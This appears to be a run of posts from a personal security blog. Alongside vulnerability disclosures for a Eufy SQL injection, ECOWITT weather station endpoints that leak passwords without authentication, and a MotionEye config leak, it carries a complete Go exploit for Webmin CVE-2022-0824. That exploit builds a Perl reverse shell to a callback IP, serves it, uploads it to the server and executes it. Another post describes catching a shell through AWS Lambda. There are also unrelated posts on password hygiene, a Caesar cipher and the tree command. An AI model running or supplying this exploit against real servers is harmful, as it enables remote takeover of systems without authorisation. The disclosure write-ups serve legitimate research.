I found a textbook SQLi in the Eufy Security application.
Don’t mind the heavy use of red blocks to redact. The first, normal request. Everything looks fine. Notice the response time at 35 milliseconds.
The second request with a 10 second sleep payload. Notice the response time in the bottom right corner.
Was able to dump some info to confirm this was actually real.
It’s been reported and confirmed by Eufy.
I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.
https://nvd.nist.gov/vuln/detail/CVE-2022-0824
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://www.webmin.com/security.html
You can also find this code on my Github.
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"regexp"
"runtime"
"strings"
)
func check(e error) {
if e != nil {
fmt.Println(e)
}
}
func makePayload(callbackIP string, callbackPort string) {
payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
err := os.WriteFile("./commands.cgi", payload, 0644)
check(err)
return
}
func login(client http.Client, target string, creds string) string {
loginURL := target + "/session_login.cgi"
params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]
request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
if err != nil {
log.Fatal(err)
}
request.Header.Set("Cookie", "redirect=1; testing=1")
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
var sidCookie = ""
resp, err := client.Do(request)
if err != nil {
log.Fatalln(err)
} else {
sidCookie = resp.Request.Response.Cookies()[0].Value
}
resp.Body.Close()
// now use sid cookie to make sure it works to log in
request, err = http.NewRequest("GET", target, nil)
request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)
resp, err = client.Do(request)
if err != nil {
log.Fatalln(err)
}
bodyBytes, err := io.ReadAll(resp.Body)
bodyString := string(bodyBytes)
resp.Body.Close()
r, _ := regexp.Compile("System hostname")
if !r.MatchString(bodyString) {
fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
return ""
}
return sidCookie
}
func runServer(serverURL string) {
fmt.Println("--> Running a server on " + serverURL)
serverPort := strings.Split(serverURL, ":")[1]
exec.Command("setsid",
"/usr/bin/python3",
"-m",
"http.server",
serverPort,
"0>&1 &").Output()
fmt.Println("--> Server Started!")
return
}
func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {
URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"
serverIP := strings.Split(serverURL, ":")[0]
serverPort := strings.Split(serverURL, ":")[1]
bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"
request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"
request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func execShell(client http.Client, target string, sid string) {
fileLocation := target + "/commands.cgi"
fmt.Println("--> Triggering shell. Check listener!")
request, err := http.NewRequest("GET", fileLocation, nil)
request.Header.Set("Cookie", "sid="+sid)
resp, err := client.Do(request)
if err != nil {
fmt.Println((err))
}
resp.Body.Close()
return
}
func stopServer() {
out, _ := exec.Command("kill",
"-9",
"$(lsof",
"-t",
"-i:{self.pyhttp_port})").Output()
fmt.Println("--> Killed Server!")
output := string(out[:])
fmt.Println(output)
return
}
func main() {
fmt.Println("--> Running Exploit! Ensure listener is running!")
if runtime.GOOS == "windows" {
fmt.Println("Can't Execute this on a windows machine")
return
}
target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
creds := flag.String("c", "username:password", "Format, username:password")
serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
callbackPort := flag.String("p", "9999", " Callback port to receive revshell")
flag.Parse()
// uncomment the following to use a local proxy
// proxyUrl, err := url.Parse("http://localhost:8080")
// check(err)
// tr := &http.Transport{
// TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
// MaxVersion: tls.VersionTLS11},
// Proxy: http.ProxyURL(proxyUrl),
// }
// client := &http.Client{Transport: tr}
// comment out these two lines if using the proxy above.
tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
client := &http.Client{Transport: tr}
makePayload(*callbackIP, *callbackPort)
sid := login(*client, *target, *creds)
runServer(*serverURL)
downloadURL(*client, *target, *serverURL, *creds, sid)
modifyPermissions(*client, *target, *serverURL, *creds, sid)
execShell(*client, *target, sid)
stopServer()
}
I recently updated nearly every one of my passwords that I had in my password manager. We all know that it is a good security practice to use a different password for every account, but we also know that that is probably not what anybody is doing. It helps if you use a password manager. I use 1password, and I’ve used it for nearly ten years, at this point. I can’t complain about it one bit.
I somehow have managed to not reuse any passwords, according to this. Here my the ‘Watchtower’ result.
I still have a few left to modify, but for reference, the vulnerable passwords category was at nearly 200 when I started.
You’d be surprised if you knew the amount of sites that I ran across that didn’t have an option to change a password. You’d have to pretend like you lost your password and go through the reset process that way.
Also, I took this opportunity to delete accounts that I wasn’t using anymore, or delete accounts for sites that don’t exist anymore. I think it should be a mandatory feature for sites to have a delete your account function, but a lot (most) don’t.
Anyway, go change your passwords.
Let’s say you’re doing a pentest, and you run across access to AWS Lambda. I recently learned you can get a persistent shell (for 15 minutes, at least) via Lambda, which seemed odd to me because always just considered Lambda a repeatable, but ephemeral thing.
Anyway, first create lambda_function.py with the following code. Note that you’ll need a hostname to connect to. In my case, I used pizzapower.me.
Next, zip this up into shell.zip.
Now we are going to create a Lambda function and upload our shell.zip with the following command
aws lambda create-function --function-name test --runtime python3.9 --handler lambda_function.lambda_handler --timeout 900 --zip-file fileb://shell.zip --role <The Amazon Resource Name (ARN) of the function's execution role>
Don’t forget to start your listener, and when you are ready, trigger the function!
And catch the shell.
According to the docs, “a Lambda function always runs inside a VPC owned by the Lambda service.” But you can attach your function to your own VPC, so depending on how the victim’s AWS environment is configured, you may be able to pivot around and exploit some more stuff.
READER BEWARE: The code in this post is horrible.
Ever been asked to write a Caesar Cipher in Python in 15 minutes? No? Neither have I.
Anyway, here is what I accomplished. It is far from optimal. It does not take a lot into account e.g. punctuation, uppercase chars, non integer keys, negative keys, etc. But I was in a hurry.
It takes the message variable and shifts each letter to the ‘right’ by the value of the current key in keys.
#!/usr/bin/env python3
from string import ascii_lowercase
# lowercase letters
CHARACTERS = list(ascii_lowercase)
# for char in CHARACTERS:
# print(ord(char))
message = "i cannot do this under duress"
keys = [1, 6, 9, 4, 2, 0]
# convert to unicode
message_ord = [ord(x) for x in list(message)]
for key in keys:
new_message = ""
for letter in message:
# I did take care of spaces.
if letter == " ":
new_message += " "
elif ord(letter) + key > 122:
#should prob mod something somewhere
offset = (ord(letter) + key) - 123
new_letter = 97 + offset
new_message += chr(new_letter)
else:
new_letter = ord(letter) + key
new_message += chr(new_letter)
print(f"For key: '{key}' the message is '{new_message}'")This took me 15 minutes and 36 seconds.
Edit: The weather station issues were given CVE-2022-35122.
I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…
I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”
Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.
Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.
Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.
V2VhdGhlcjI0Njg5 –> Weather24689
Or, using jq, you can do this all on the CLI.
I think this is a losing battle.
Edit: This was given CVE-2022-35122.
I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.
However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?
Comically, the landing page of the weather station’s server gives an illusion of some sort of security.
Let’s intercept a request of us logging in.
This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.
Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.
If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.
Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint
Or how about the device password (not that you actually need the password now).
You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.
Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.
I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.
Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:
As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:
As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.
Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.
In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.
I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.
I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.
Edit: The issue was closed before I even finished this post.
Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.
You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.
Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.
The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?
I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?
If you aren’t familiar with the Tree command in Linux, you should be. You can read about it here. Tree has been around for what seems like forever, and I’ve been using it for as long as I’ve been using Linux. With that said, I didn’t really know all that much about it until recently. The extent of my usage has always been something like this: $ tree -L 3 and that’s it.
Like most other Linux tools, there is much more to Tree than what I know. Take a look at the following command:
$ tree -LpDugC 2 -H . > index.html This will create an index.html file that has a listing of everything in the dir in HTML form.
Anyway, you can install tree on Linux, Mac, and even Windows. There really wasn’t a huge point to this post — it’s just a reminder that your tools can do a lot more than what you’re probably already using them for. It pays to read the documentation.